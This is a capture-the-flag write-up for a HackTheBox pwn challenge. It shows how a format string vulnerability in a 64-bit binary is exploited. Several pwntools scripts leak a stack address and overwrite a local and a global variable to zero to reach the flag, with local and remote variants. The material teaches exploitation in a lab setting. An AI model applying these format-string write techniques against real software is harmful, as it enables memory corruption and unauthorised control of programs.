← Back to Writeups
HTBN/APwn

Leet Test

XESXOR8/23/20265 min read
#pwn#htb#n/a

Leet Test

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Are you 1337 enough?

Solution Approach

Core idea: Exploiting FSB. Overwriting global and local variable to 0.

Steps

  1. In this challenge we're given a 64 bit binary, dynamically linked, and not stripped.
┌──(D3v0o0Nu11㉿htb)-[~/Downloads/leet_test]
└─$ file leet_test 
leet_test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c6e69bc8fc90c94520adb2fc11a0d7d7b85326f6, for GNU/Linux 3.2.0, not stripped

BINARY PROTECTIONS

┌──(D3v0o0Nu11㉿htb)-[~/Downloads/leet_test]
└─$ pwn checksec leet_test                              
[*] '/home/D3v0o0Nu11/Downloads/leet_test/leet_test'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  1. After decompiled the binary, seems the concept here is overwriting stack variable using format strings vulnerability.

  2. It's proven by no potential BOF but there is format strings vuln.

  3. Analyzing the main functions, we know that we can overwrite 2 variables there, the local_13c which held the random values.

  4. And winner variable which held the 0xcafebabe value.

  5. We can just overwrite them as 0, so it would be look like this:

0 * 0x1337c0de == 0
  1. With this, when we run the binary, it will break out of the while loop then cat the flag for us.
  2. Here's what we need to do:
- Get the fmtstr offset.
- Calculate the exact address for the variable that held the random value.
- grab the address for winner.

GET THE FORMAT STRING OFFSET

  • To grab the format string offset, i used the template from pwnlib documentation and modified it.

OUR SCRIPT

from pwn import * 
import os 
os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript ='''
init-pwndbg
continue
'''.format(**locals())

exe = './leet_test'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

def payload(exp):
    sh.sendline(exp)
    sh.recvuntil(b'Hello,')
    return sh.recvline().strip()

sh = start()
#pause()
format_str = FmtStr(execute_fmt=payload)
log.success('Format strings offset : %d', format_str.offset)

sh.interactive()
  • let us calc the address for the random value.

NOTES: When i tried to solve this challenge remotely, the offset at the remote server is different, beauty of PWN 😭. So i'm gonna show you how to solve both locally and remotely.

CALC THE ADDRESS LOCALLY

  • After grab and calculate every stack address i leaked, the correct one is at 18 (mine locally).

USE GDBSCRIPT TO BREAK AT 0x00000000004013a7

CALC SCRIPT

from pwn import * 
import os 
os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript ='''
init-pwndbg
break * 0x00000000004013a7
continue
'''.format(**locals())

exe = './leet_test'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

def payload(exp):
    sh.sendline(exp)
    sh.recvuntil(b'Hello,')
    return sh.recvline().strip()

sh = start()
#pause()
format_str = FmtStr(execute_fmt=payload)
log.success('Format strings offset : %d', format_str.offset)

sh.sendlineafter(b':', '%{}$p'.format(18))
sh.recvuntil(b'Hello,')
get = sh.recvline().strip()
#print(get)
get_addr = int(get, 16)
log.success('LEAKED STACK ADDRESS --> %#0x', get_addr)

calc = get_addr - 272
log.success('CALCULATED --> %#0x', calc)

sh.interactive()
  • Notice our RAX held the random value.

  • And we have the same address as the random value variable.

  1. Now we just need to grab the winner address.

  2. Here's the final script.

from pwn import * 
import os 
os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript ='''
init-pwndbg
break * 0x00000000004013a7
continue
'''.format(**locals())

exe = './leet_test'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

def payload(exp):
    sh.sendline(exp)
    sh.recvuntil(b'Hello,')
    return sh.recvline().strip()

sh = start()
#pause()
format_str = FmtStr(execute_fmt=payload) # get fmtstr offset
log.success('Format strings offset : %d', format_str.offset)

sh.sendlineafter(b':', '%{}$p'.format(18))
sh.recvuntil(b'Hello,')
get = sh.recvline().strip()
#print(get)
get_addr = int(get, 16)
log.success('LEAKED STACK ADDRESS --> %#0x', get_addr)

### CALC THE RANDOM VALUE ADDRESS

calc = get_addr - 272
log.success('CALCULATED --> %#0x', calc)

### perform writes

format_str.write(calc, 0) # set to 0
format_str.write(0x404078, 0) # set to 0 
format_str.execute_writes()

sh.interactive()

RESULT LOCALLY

  1. Got our fake flag! But like what i said before, the remote server has different offset for the random value address 💀. So took me a while to solve this, here's the remote script.

SCRIPT REMOTE

from pwn import * 
import os 
os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript ='''
init-pwndbg
break * 0x00000000004013a7
continue
'''.format(**locals())

exe = './leet_test'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

def payload(exp):
    sh.sendline(exp)
    sh.recvuntil(b'Hello,')
    return sh.recvline().strip()

sh = start()
#pause()
format_str = FmtStr(execute_fmt=payload) # get fmtstr offset
log.success('Format strings offset : %d', format_str.offset)

sh.sendlineafter(b':', '%{}$p'.format(38))
sh.recvuntil(b'Hello,')
get = sh.recvline().strip()
#print(get)
get_addr = int(get, 16)
log.success('LEAKED STACK ADDRESS --> %#0x', get_addr)

### CALC THE RANDOM VALUE ADDRESS

calc = get_addr - 287
log.success('CALCULATED --> %#0x', calc)

### perform writes

format_str.write(calc, 0) # set to 0
format_str.write(0x404078, 0) # set to 0 
format_str.execute_writes()

sh.interactive()
  1. Got the flag!

NOTES: If it failed locally or remotely, try to run the script again, it happens because stack address are not static. Because ASLR is on.

Flag

REDACTED

Lessons Learned

  1. Exploiting FSB.
  2. Overwriting global and local variable to 0.